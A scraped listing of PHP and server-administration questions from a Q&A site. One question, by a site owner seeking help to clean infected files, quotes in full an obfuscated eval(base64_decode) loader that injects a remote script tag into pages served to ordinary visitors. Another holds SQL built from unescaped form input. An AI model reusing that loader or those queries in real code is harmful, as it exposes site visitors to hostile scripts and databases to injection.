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  • PHP & MySQL database storing the name Array problem.

    - by comma
    I'm new to PHP & MySQL and I keep getting the word Array stored in my MySQL tables fields $skill, $experience, $yearsI was wondering how can I fix this problem? And I know I need to add mysqli_real_escape_string which I left out to make code more easier to read Hopefully. Here is the PHP & MySQL code. if (isset($_POST['info_submitted'])) { $mysqli = mysqli_connect("localhost", "root", "", "sitename"); $dbc = mysqli_query($mysqli,"SELECT learned_skills.*, users_skills.* FROM learned_skills INNER JOIN users_skills ON learned_skills.id = users_skills.skill_id WHERE user_id='$user_id'"); if (!$dbc) { print mysqli_error($mysqli); return; } $user_id = '5'; $skill = $_POST['skill']; $experience = $_POST['experience']; $years = $_POST['years']; if (isset($_POST['skill'][0]) && trim($_POST['skill'][0])!=='') { $mysqli = mysqli_connect("localhost", "root", "", "sitename"); $dbc = mysqli_query($mysqli,"SELECT learned_skills.*, users_skills.* FROM learned_skills INNER JOIN users_skills ON users_skills.skill_id = learned_skills.id WHERE users_skills.user_id='$user_id'"); if (mysqli_num_rows($dbc) == 0) { for ($s = 0; $s < count($skill); $s++){ for ($x = 0; $x < count($experience); $x++){ for ($g = 0; $g < count($years); $g++){ $mysqli = mysqli_connect("localhost", "root", "", "sitename"); $query1 = mysqli_query($mysqli,"INSERT INTO learned_skills (skill, experience, years) VALUES ('" . $s . "', '" . $x . "', '" . $g . "')"); $id = mysqli_insert_id($mysqli); if ($query1 == TRUE) { $mysqli = mysqli_connect("localhost", "root", "", "sitename"); $query2 = mysqli_query($mysqli,"INSERT INTO users_skills (skill_id, user_id) VALUES ('$id', '$user_id')"); } } } } } } } Here is the XHTML code. <li><label for="skill">Skill: </label><input type="text" name="skill[0]" id="skill[0]" /> <label for="experience">Experience: </label> <?php echo '<select id="experience[0]" name="experience[0]">' . "\n"; foreach($experience_options as $option) { if ($option == $experience) { echo '<option value="' . $option . '" selected="selected">' . $option . '</option>' . "\n"; } else { echo '<option value="'. $option . '">' . $option . '</option>'."\n"; } } echo '</select>'; ?> <label for="years">Years: </label> <?php echo '<select id="years[0]" name="years[0]">' . "\n"; foreach($grade_options as $option) { if ($option == $years) { echo '<option value="' . $option . '" selected="selected">' . $option . '</option>' . "\n"; } else { echo '<option value="'. $option . '">' . $option . '</option>'."\n"; } } echo '</select>'; ?> </li>

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  • How to consume PHP SOAP service using WCF

    - by mr.b
    I am new in web services so apologize me if I am making some cardinal mistake here, hehe. I have built SOAP service using PHP. Service is SOAP 1.2 compatible, and I have WSDL available. I have enabled sessions, so that I can track login status, etc. I don't need some super security here (ie message-level security), all I need is transport security (HTTPS), since this service will be used infrequently, and performances are not so much of an issue. I am having difficulties making it to work at all. C# throws some unclear exception ("Server returned an invalid SOAP Fault. Please see InnerException for more details.", which in turn says "Unbound prefix used in qualified name 'rpc:ProcedureNotPresent'."), but consuming service using PHP SOAP client behaves as expected (including session and all). So far, I have following code. note: due to amount of real code, I am posting minimal code configuration PHP SOAP server (using Zend Soap Server library), including class(es) exposed via service: <?php class Verification_LiteralDocumentProxy { protected $instance; public function __call($methodName, $args) { if ($this->instance === null) { $this->instance = new Verification(); } $result = call_user_func_array(array($this->instance, $methodName), $args[0]); return array($methodName.'Result' => $result); } } class Verification { private $guid = ''; private $hwid = ''; /** * Initialize connection * * @param string GUID * @param string HWID * @return bool */ public function Initialize($guid, $hwid) { $this->guid = $guid; $this->hwid = $hwid; return true; } /** * Closes session * * @return void */ public function Close() { // if session is working, $this->hwid and $this->guid // should contain non-empty values } } // start up session stuff $sess = Session::instance(); require_once 'Zend/Soap/Server.php'; $server = new Zend_Soap_Server('https://www.somesite.com/api?wsdl'); $server->setClass('Verification_LiteralDocumentProxy'); $server->setPersistence(SOAP_PERSISTENCE_SESSION); $server->handle(); WSDL: <definitions xmlns="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="https://www.somesite.com/api" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap-enc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" name="Verification" targetNamespace="https://www.somesite.com/api"> <types> <xsd:schema targetNamespace="https://www.somesite.com/api"> <xsd:element name="Initialize"> <xsd:complexType> <xsd:sequence> <xsd:element name="guid" type="xsd:string"/> <xsd:element name="hwid" type="xsd:string"/> </xsd:sequence> </xsd:complexType> </xsd:element> <xsd:element name="InitializeResponse"> <xsd:complexType> <xsd:sequence> <xsd:element name="InitializeResult" type="xsd:boolean"/> </xsd:sequence> </xsd:complexType> </xsd:element> <xsd:element name="Close"> <xsd:complexType/> </xsd:element> </xsd:schema> </types> <portType name="VerificationPort"> <operation name="Initialize"> <documentation> Initializes connection with server</documentation> <input message="tns:InitializeIn"/> <output message="tns:InitializeOut"/> </operation> <operation name="Close"> <documentation> Closes session between client and server</documentation> <input message="tns:CloseIn"/> </operation> </portType> <binding name="VerificationBinding" type="tns:VerificationPort"> <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/> <operation name="Initialize"> <soap:operation soapAction="https://www.somesite.com/api#Initialize"/> <input> <soap:body use="literal"/> </input> <output> <soap:body use="literal"/> </output> </operation> <operation name="Close"> <soap:operation soapAction="https://www.somesite.com/api#Close"/> <input> <soap:body use="literal"/> </input> <output> <soap:body use="literal"/> </output> </operation> </binding> <service name="VerificationService"> <port name="VerificationPort" binding="tns:VerificationBinding"> <soap:address location="https://www.somesite.com/api"/> </port> </service> <message name="InitializeIn"> <part name="parameters" element="tns:Initialize"/> </message> <message name="InitializeOut"> <part name="parameters" element="tns:InitializeResponse"/> </message> <message name="CloseIn"> <part name="parameters" element="tns:Close"/> </message> </definitions> And finally, WCF C# consumer code: [ServiceContract(SessionMode = SessionMode.Required)] public interface IVerification { [OperationContract(Action = "Initialize", IsInitiating = true)] bool Initialize(string guid, string hwid); [OperationContract(Action = "Close", IsInitiating = false, IsTerminating = true)] void Close(); } class Program { static void Main(string[] args) { WSHttpBinding whb = new WSHttpBinding(SecurityMode.Transport, true); ChannelFactory<IVerification> cf = new ChannelFactory<IVerification>( whb, "https://www.somesite.com/api"); IVerification client = cf.CreateChannel(); Console.WriteLine(client.Initialize("123451515", "15498518").ToString()); client.Close(); } } Any ideas? What am I doing wrong here? Thanks!

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  • Installing php-module using port on osx lion. It works from command line but not from apache

    - by Lorraine Bernard
    I installed php5-intl on my osx lion. It seems to work properly on command line mode because if I try to run the following script (1): $fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN ); echo "First Formatted output is ".datefmt_format( $fmt , 0)."\n"; > php -m |grep intl intl > php test.php First Formatted output is Wednesday, December 31, 1969 4:00:00 PM Pacific Standard Time But if I try to sun the same from my apache (after sudo apachectl restart) I get the following error: > tail /private/var/log/apache2/error_log PHP Fatal error: Call to undefined function datefmt_create() in P.S.: I also added the following line to my php.ini extension_dir = "/opt/local/lib/php/extensions/no-debug-non-zts-20090626" ll /opt/local/lib/php/extensions/no-debug-non-zts-20090626 total 848 -rwxr-xr-x 1 root 261712 7 May 10:54 xdebug.so -rwxr-xr-x 1 root 168912 31 May 19:53 intl.so

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  • Is there a config option in PHP to prevent undefined constants from being interpreted as strings?

    - by mrbinky3000
    This is from the php manual: http://us.php.net/manual/en/language.constants.syntax.php If you use an undefined constant, PHP assumes that you mean the name of the constant itself, just as if you called it as a string (CONSTANT vs "CONSTANT"). An error of level E_NOTICE will be issued when this happens. I really don't like this behavior. If I have failed to define a required constant, I would rather the script fail so that I am forced define it. Is there any way to force PHP to crash the script if it tries to use an undefined constant? For example. Both of these scripts do the same thing. <?php define('DEBUG',1); if (DEBUG) echo('Yo!'); ?> and <?php if(DEBUG) echo('Yo!'); ?> I would rather the second script DIE and declare that it tried to use an undefined constant DEBUG.

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  • Installing PHP APC in Fedora - Unable to initialize module ?

    - by sri
    I have been trying to install APC on my Fedora Apache Server for showing progress bar while uploading files. But I am getting the following PHP Warning while starting XAMPP. Starting XAMPP for Linux 1.7.1... PHP Warning: PHP Startup: apc: Unable to initialize module Module compiled with module API=20090626, debug=0, thread-safety=0 PHP compiled with module API=20060613, debug=0, thread-safety=0 These options need to matchin Unknown on line 0 XAMPP: Starting Apache with SSL (and PHP5)... XAMPP: Starting MySQL... XAMPP: Another FTP daemon is already running. XAMPP for Linux started. My Server Details : OS : Fedora-12 XAMPP version : 1.7.1 PHP Version : 5.2.9 APC Version : 3.1.9 I have tried the process as is mentioned in here : 1)http://2bits.com/articles/installing-php-apc-gnulinux-centos-5.html 2)http://stevejenkins.com/blog/2011/08/how-to-install-apc-alternative-php-cache-on-centos-5-6/

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  • PHP 'Years' array

    - by J M 4
    I am trying to create an array for years which i will use in the DOB year piece of a form I am building. Currently, I know there are two ways to handle the issue but I don't really care for either: 1) Range: I know I can create a year array using the following <?php $year = range(1910,date("Y")); $_SESSION['years_arr'] = $year; ?> the problem with Point 1 is two fold: a) my function call shows the first year as 'selected' instead of "Year" as I have as option="0", and b) I want the years reversed so 2010 is the first in the least and shown decreasing. My function call is: PHP <?php function showOptionsDrop($array, $active, $echo=true){ $string = ''; foreach($array as $k => $v){ $s = ($active == $k)? ' selected="selected"' : ''; $string .= '<option value="'.$k.'"'.$s.'>'.$v.'</option>'."\n"; } if($echo) echo $string; else return $string; } ?> HTML <table> <tr> <td>State:</td> <td><select name="F1State"><option value="0">Choose a year</option><?php showOptionsDrop($_SESSION['years_arr'], null, true); ?></select> </td> </tr> </table> 2) Long Array I know i can physically create an array with years listed out but this takes up a lot of space and time if I ever want to go back and modify. ex: PHP $years = array('1900'=>"1900", '1901'=>"1901", '1902'=>"1902", '1903'=>"1903", '1904'=>"1904", '1905'=>"1905", '1906'=>"1906", '1907'=>"1907", '1908'=>"1908", '1909'=>"1909", '1910'=>"1910", '1911'=>"1911", '1912'=>"1912", '1913'=>"1913", '1914'=>"1914", '1915'=>"1915", '1916'=>"1916", '1917'=>"1917", '1918'=>"1918", '1919'=>"1919", '1920'=>"1920", '1921'=>"1921", '1922'=>"1922", '1923'=>"1923", '1924'=>"1924", '1925'=>"1925", '1926'=>"1926", '1927'=>"1927", '1928'=>"1928", '1929'=>"1929", '1930'=>"1930", '1931'=>"1931", '1932'=>"1932", '1933'=>"1933", '1934'=>"1934", '1935'=>"1935", '1936'=>"1936", '1937'=>"1937", '1938'=>"1938", '1939'=>"1939", '1940'=>"1940", '1941'=>"1941", '1942'=>"1942", '1943'=>"1943", '1944'=>"1944", '1945'=>"1945", '1946'=>"1946", '1947'=>"1947", '1948'=>"1948", '1949'=>"1949", '1950'=>"1950", '1951'=>"1951", '1952'=>"1952", '1953'=>"1953", '1954'=>"1954", '1955'=>"1955", '1956'=>"1956", '1957'=>"1957", '1958'=>"1958", '1959'=>"1959", '1960'=>"1960", '1961'=>"1961", '1962'=>"1962", '1963'=>"1963", '1964'=>"1964", '1965'=>"1965", '1966'=>"1966", '1967'=>"1967", '1968'=>"1968", '1969'=>"1969", '1970'=>"1970", '1971'=>"1971", '1972'=>"1972", '1973'=>"1973", '1974'=>"1974", '1975'=>"1975", '1976'=>"1976", '1977'=>"1977", '1978'=>"1978", '1979'=>"1979", '1980'=>"1980", '1981'=>"1981", '1982'=>"1982", '1983'=>"1983", '1984'=>"1984", '1985'=>"1985", '1986'=>"1986", '1987'=>"1987", '1988'=>"1988", '1989'=>"1989", '1990'=>"1990", '1991'=>"1991", '1992'=>"1992", '1993'=>"1993", '1994'=>"1994", '1995'=>"1995", '1996'=>"1996", '1997'=>"1997", '1998'=>"1998", '1999'=>"1999", '2000'=>"2000", '2001'=>"2001", '2002'=>"2002", '2003'=>"2003", '2004'=>"2004", '2005'=>"2005", '2006'=>"2006", '2007'=>"2007", '2008'=>"2008", '2009'=>"2009", '2010'=>"2010"); $_SESSION['years_arr'] = $years_arr; Does anybody have a recommended idea how to work - or just how to simply modify my existing code? Thank you!

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  • How to have type hinting in PHP that specifies variable scope inside of a template? (specifically PhpStorm)

    - by Lance Rushing
    I'm looking for a doc comment that would define the scope/context of the current php template. (similar to @var) Example View Class: <?php class ExampleView { protected $pageTitle; public function __construct($title) { $this->pageTitle = $title; } public function render() { require_once 'template.php'; } } -- <?php // template.php /** @var $this ExampleView */ echo $this->pageTitle; PHPStorm gives an inspection error because the access on $pageTitle is protected. Is there a hint to give scope? Something like: <?php // template.php /** @scope ExampleView */ // <---???? /** @var $this ExampleView */ echo $this->pageTitle;

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  • How can i remove an iframe virus from all of php files on my website?

    - by Uchiha Itachi
    I have a problem about removing a virus code from my php files. There is more then 1200 php file in my server and every single php file has been infected by an virus. Virus code adding this line to html output <script src="http://holasionweb.com/oo.php"></script> This is the code of virus <?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5b2IyeGhjMmx2Ym5kbFlpNWpiMjB2YjI4dWNHaHdJajQ4TDNOamNtbHdkRDQ9Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0gICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDMsMSkpOyAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9MTA7ICAgICAgJFJBM0Q1MkU1MkE0ODkzNkNERTBGNTM1NkJCMDg2NTJGMj0wOyAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmNCl7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUJbMV07ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTIrJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQjsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY4KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYyKXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MjsgICAgICB9ICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz1AZ3ppbmZsYXRlKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSk7ICAgICAgaWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgICAgIH0gICAgfSAgICBmdW5jdGlvbiBtcm9iaCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?> Above code in every single php file. How can i remove this virus code from every php file ? Is there a quick way for doing it?

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  • Multiple connections to a MySQL database in a single PHP script.

    - by st3
    There are multiple times in one page where I need to connect and subsequently query a MySQL database, yet my code won't let me. I think it might be something to do with how my files are nested but it makes no sense. I am opening the SQL connection in the header file. The top of the offending page looks like the following: <?php $page_title = 'Dashboard'; include('templates/header.inc'); // includes a 'require_once('mysqli_connect.php') and a small query to the database; require_once('includes/functions.php'); require_once('includes/dashboard_sql.php'); // Contains functions which connect to database (which are failing.) ?> I get the PHP error Notice: Undefined variable: dbc in /Library/WebServer/Documents/pediatory_site/includes/dashboard_sql.php Where $dbc is the database connection defined in mysqli_connect.php. If anyone could help me out that would be great.

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  • How do I upgrade PHP on CentOS and Kloxo?

    - by Emerson
    I need to upgrade PHP so that I can upgrade joomla on my dedicated server. I have: kloxo 6.1.6 php-5.2.17-1 Linux CentOS-55-64-minimal 2.6.18-194.32.1.el5 x86_64 x86_64 x86_64 GNU/Linux I searched everywhere and I could only find that PHP 5.3 isn't compatible with zend. I would like to upgrade to 5.2.4, which is the minimum for joomla 1.6 and 1.7. I tried to run: yum update php.x86_64 Which is the PHP package installed, but it didn't work. This is a production server with quite a few users across many sites, so I wanted to do it as safely as possible. Is it safe to run "yum update"? It showed me 6 packages to install and 125 packages to update, including a kernel. Is that safe? I haven't touched kloxo's yum repositories. Update: I just successfully ran "yum update". Now I think I need to know how to add a new repository that has the 5.2.4 and how to update to that specific version. Any ideas?

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  • Problems sending and receiving data between php and perl?

    - by Chip Gà Con
    I have a problem in sending and receiving data between php and perl socket: -Problem: +php can not send all byte data to perl socket +Perl socket can not receiving all data from php . Here code php: function save(){ unset($_SESSION['info']); unset($_SESSION['data']); global $config,$ip; $start=$_POST['config']; $fp = fsockopen($_SESSION['ip'], $config['port'], $errno, $errstr, 30); if(!$fp) { $_SESSION['info']="Not connect "; transfer("Not connect".$ip, "index.php?com=server&act=info"); } else { $_SESSION['info']="Save config - ".$ip; fwrite($fp,$start); transfer("Sending data to ".$ip, "index.php?com=server&act=info"); } } Here code perl socket: #!/usr/bin/perl use strict; use warnings; use Carp; use POSIX qw( setsid ); use IO::Socket; $| = 1; my $socket = new IO::Socket::INET ( LocalHost => '192.168.150.3', LocalPort => '5000', Proto => 'tcp', Listen => 5, Reuse => 1 ); die "Coudn't open socket" unless $socket; print "\nTCPServer Waiting for client on port 5000"; my $client_socket = ""; while ($client_socket = $socket->accept()) { my $recieved_data =" "; my $send_data=" "; my $peer_address = $client_socket->peerhost(); my $peer_port = $client_socket->peerport(); print "\n I got a connection from ( $peer_address , $peer_port ) "; print "\n SEND( TYPE q or Q to Quit):"; $client_socket->recv($recieved_data,20000); #while (defined($recieved_data = <$client_socket>)) { if ( $recieved_data eq 'q' or $recieved_data eq 'Q' ) { close $client_socket; last; } elsif ($recieved_data eq 'start' or $recieved_data eq 'START' ) { $send_data = `/etc/init.d/squid start`; } elsif ($recieved_data eq 'restart' or $recieved_data eq 'RESTART' ) { $send_data = `/etc/init.d/squid restart`; } elsif ($recieved_data eq 'stop' or $recieved_data eq 'STOP' ) { $send_data = `/etc/init.d/squid stop`; } elsif ($recieved_data eq 'hostname' or $recieved_data eq 'HOSTNAME' ) { $send_data= `hostname`; } elsif ($recieved_data eq 'view-config' or $recieved_data eq 'VIEW-CONFIG' ) { $send_data = `cat /etc/squid/squid.conf` ; } else { # print $recieved_data; open OUTPUT_FILE, '> /root/data' or die("can not open file"); print OUTPUT_FILE $recieved_data; close OUTPUT_FILE } #} if ($send_data eq 'q' or $send_data eq 'Q') { $client_socket->send ($send_data); close $client_socket; last; } else { $client_socket->send($send_data); } }

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  • How do I tell Apache which PHP to use?

    - by Sam McAfee
    I am running Apache2 on a Mac OS X (10.5). I just compiled PHP 5.2.8 and finally got pdo-mysql working (or so I think). My command line "php --version" is showing 5.2.8 and I have the right modules installed. But, when do a phpinfo(), Apache dumps out PHP 5.2.6 (my earlier version, without pdo_mysql). How do I tell Apache which PHP to load? The httpd.conf has the line: LoadModule php5_module libexec/apache2/libphp5.so But, I don't know what or where that is. Is that what I have to change?

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  • Is there a way to use Xcode for PHP web development?

    - by Nic
    I have heard you could use Xcode for PHP development with syntax highlighting, syntax check, code completion etc. some time ago, maybe years ago. Is there a way to add PHP support to a current Xcode version (3.2.2 or later)? Currently I use NetBeans for PHP development and I've tried some other IDEs. I just like Xcode and wondered if this is an option, too.

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  • Why does this package (ppa:ondrej/php5, it's PHP 5.5) break the apache2 installation?

    - by Panique
    Problem Currently this package (ppa:ondrej/php5) is quite popular for installing the latest version of PHP 5.5. I've worked quite much with it, and everything ran smoothy, on several (dev) servers. But from today (?) this breaks the apache2 installation (it empties the /etc/apache2/sites-available/default file). This is reproduceable. Way to reproduce (on naked Ubuntu 64 12.04 LTS) // basic installs sudo apt-get update sudo apt-get install apache2 sudo apt-get install php5 Apache is fine, nano /etc/apache2/sites-available/default has valid content now // getting PHP 5.5.x sudo apt-get install python-software-properties (for add-apt-repository) sudo add-apt-repository ppa:ondrej/php5 sudo apt-get update sudo apt-get install php5 // php -v shows successful install of PHP 5.5.x now Apache is broken, nano /etc/apache2/sites-available/default is empty now Question Why does this happen ? According to https://launchpad.net/~ondrej/+archive/php5 there were no changes in the last few days.

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  • Dynamic nginx domain root path based on hostname?

    - by Xeoncross
    I am trying to setup my development nginx/PHP server with a basic master/catch-all vhost config so that I can created unlimited ___.framework.loc domains as needed. server { listen 80; index index.html index.htm index.php; # Test 1 server_name ~^(.+)\.frameworks\.loc$; set $file_path $1; root /var/www/frameworks/$file_path/public; include /etc/nginx/php.conf; } However, nginx responds with a 404 error for this setup. I know nginx and PHP are working and have permission because the localhost config I'm using works fine. server { listen 80 default; server_name localhost; root /var/www/localhost; index index.html index.htm index.php; include /etc/nginx/php.conf; } What should I be checking to find the problem? Here is a copy of that php.conf they are both loading. location / { try_files $uri $uri/ /index.php$is_args$args; } location ~ \.php$ { try_files $uri =404; include fastcgi_params; fastcgi_index index.php; # Keep these parameters for compatibility with old PHP scripts using them. fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # Some default config fastcgi_connect_timeout 20; fastcgi_send_timeout 180; fastcgi_read_timeout 180; fastcgi_buffer_size 128k; fastcgi_buffers 4 256k; fastcgi_busy_buffers_size 256k; fastcgi_temp_file_write_size 256k; fastcgi_intercept_errors on; fastcgi_ignore_client_abort off; fastcgi_pass 127.0.0.1:9000; }

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  • Which hosting will let me execute my own EXE with PHP?

    - by guitar-
    I have a task that PHP (or any server-side scripting language) isn't practical for. It involves a lot of file I/O, processing, etc. and it will execute a lot faster using the program I made in C instead of PHP. Do any hosts allow you to upload your own EXE files and run them on the server using PHP's exec, shell_exec, etc. functions? Do you need a dedicated server to do this? Also, I don't know if Facebook's PHP HipHop is out yet, but I really don't want to use that.

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  • Windows7 IIS7: zips don't have php5isapi.dll Can I use php.dll instead?

    - by Pete Alvin
    The page: How to Install PHP 5.2 on IIS 7and Windows Vista (and a few others) reference a mysterious php5isapi.dll which is not in the Windows install, or the zip files: php-5.3.2-Win32-VC9-x86.zip - VC9 x86 Thread Safe php-5.3.2-nts-Win32-VC9-x86.zip - VC9 x86 Non Thread Safe There was another post on stackoverflow that said it's obsolete and replaced by "fastapi" but no instructions mention this. I did find a php.dll in the zip file. Can I use that instead of php5isapi.dll? It's very frustrating trying to install basic PHP5 on Windows with MySQL.

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  • mod_rewite Rule: root/? root/app/views/home/home.php

    - by Jonathon David Oates
    I am shocking at mod_rewite, here's the scenario: I need a rule that rewrites mydomain.com to mydomain.com/app/views/home/home.php. The rule, or set of rules rather, must also rewite mydomain.com/signin to mydomain.com/app/views/signin/signin.php, and work in a similar fashion for any subdirectory, for example: mydomain.com/subdir must redirect to mydomain.com/app/views/subdir/subdir.php. The rules must also work with or without the trailing slash, for example: ….com or ….com/. Thank you all, your help is much appreciated! If you could outline how and why your solution works or direct me to a good resource that explains it, I'd be exceptionally grateful! Edit: I have got a simple .htaccess file with this: Options +FollowSymLinks RewriteEngine On RewriteRule ^$ http://mydomain.local/~Jay/some_awesome_app/app/views/home/home.php This does the redirect but changes the URL in the address bar too! I've not got a trailing [R] flag so why would this be?

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  • How to serve pages through multiple frameworks/template engines efficiently

    - by Leftium
    I would like to render a file that has both PHP tags and Web2Py tags mixed together. To do this, I would like the web server to pass the file through Web2Py, then PHP. I found a method to call PHP from Web2py via Python (based on this method for running PHP on top of django), but this method loses the benefits of any server optimizations from mod_php or FastCGI like caching and multi-threaded operation. A new process is created for each PHP request, which is very slow. Is there a better way to efficiently render pages with both Web2Py(Python) and PHP tags in the same file? Note I am not looking for methods of serving PHP-only and Web2Py-only files from the same server/domain. I prefer solutions for Apache2 or Cherokee. I'm open to using other web servers, though. Background info: I prefer to develop in Web2Py, but we have this pre-existing system written in PHP. I would like to augment the PHP system with some of Web2Py's features like auth authentication/user management and the T() internationalization object. Also it would make it much easier to port the PHP project to Web2Py if it could be done piecemeal. Since the PHP project consists of many files, it would greatly help if they did not need modification.

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  • Why Does DreamWeaver CS5 Discriminate between File Extensions, Even After Modding Mime Types!?

    - by Sam
    Hi folks, Even After I forced DreamWeaver CS5 to allow opening of .ast extensions as a MIME type of php5, which DreamWeaver now opens and colors correctly as described here, I still have trouble figuring out why it still discriminates between the two file extensions! Symptoms: External Files & Design View I have a file foo.php which php includes other files (e.g. the php-combined css.php and js.php). Now, when opening foo.php all functions work perfectly: the external (included) php files are all recognised correctly. However, when I change foo.php foo.ast, and open it again, It does not recognise the files extensions anymore in the top bar. Also, I lose the Design / Live View functionality.** When I change foo.ast to foo.php, all works again! Anyone any clues of why there remains a a difference between one and other extension? Note1: I have added the .ast extension to these four files, next to .php: 1 C:\Users\Sam\AppData\Local\VirtualStore\Program Files (x86)\Adobe\Adobe Dreamweaver CS5\configuration\DocumentTypes\MMDocumentTypes.xml 2 C:\Program Files (x86)\Adobe\Adobe Dreamweaver CS5\configuration\DocumentTypes\MMDocumentTypes.xml 3 C:\Users\Sam\AppData\Roaming\Adobe\Dreamweaver CS5\en_US\Configuration\Extensions.txt 4 C:\Program Files (x86)\Adobe\Adobe Dreamweaver CS5\configuration\Extensions.txt Note2: sometimes, even .php files do not want to show in design view or live view. Could this be caused by a corrupted installation?

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  • How do I protect large file downloads through PHP and/or Apache?

    - by Eric
    We have some large files (1-8GB) that are not publicly accessible. Currently we're serving them up through a PHP script that buffers the files in 1MB chunks and writes it to the output. It's incredibly CPU intensive and slows the server down when only a few downloads are active. We want to move the file transfer work to Apache or a more efficient method. We are using cookie authentication. FTP downloads are out unless there's some way to authenticate FTP sessions through the existing PHP session cookie. Ideally we'd like something where we can use PHP to hide the link to the file while it passes off the file transfer work to Apache, which is no doubt far more efficient at HTTP file transfers than PHP. We want to be able to resume downloads as well. Any help is appreciated.

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  • How should I set up protection for the database against sql injection when all the php scripts are flawed?

    - by Tchalvak
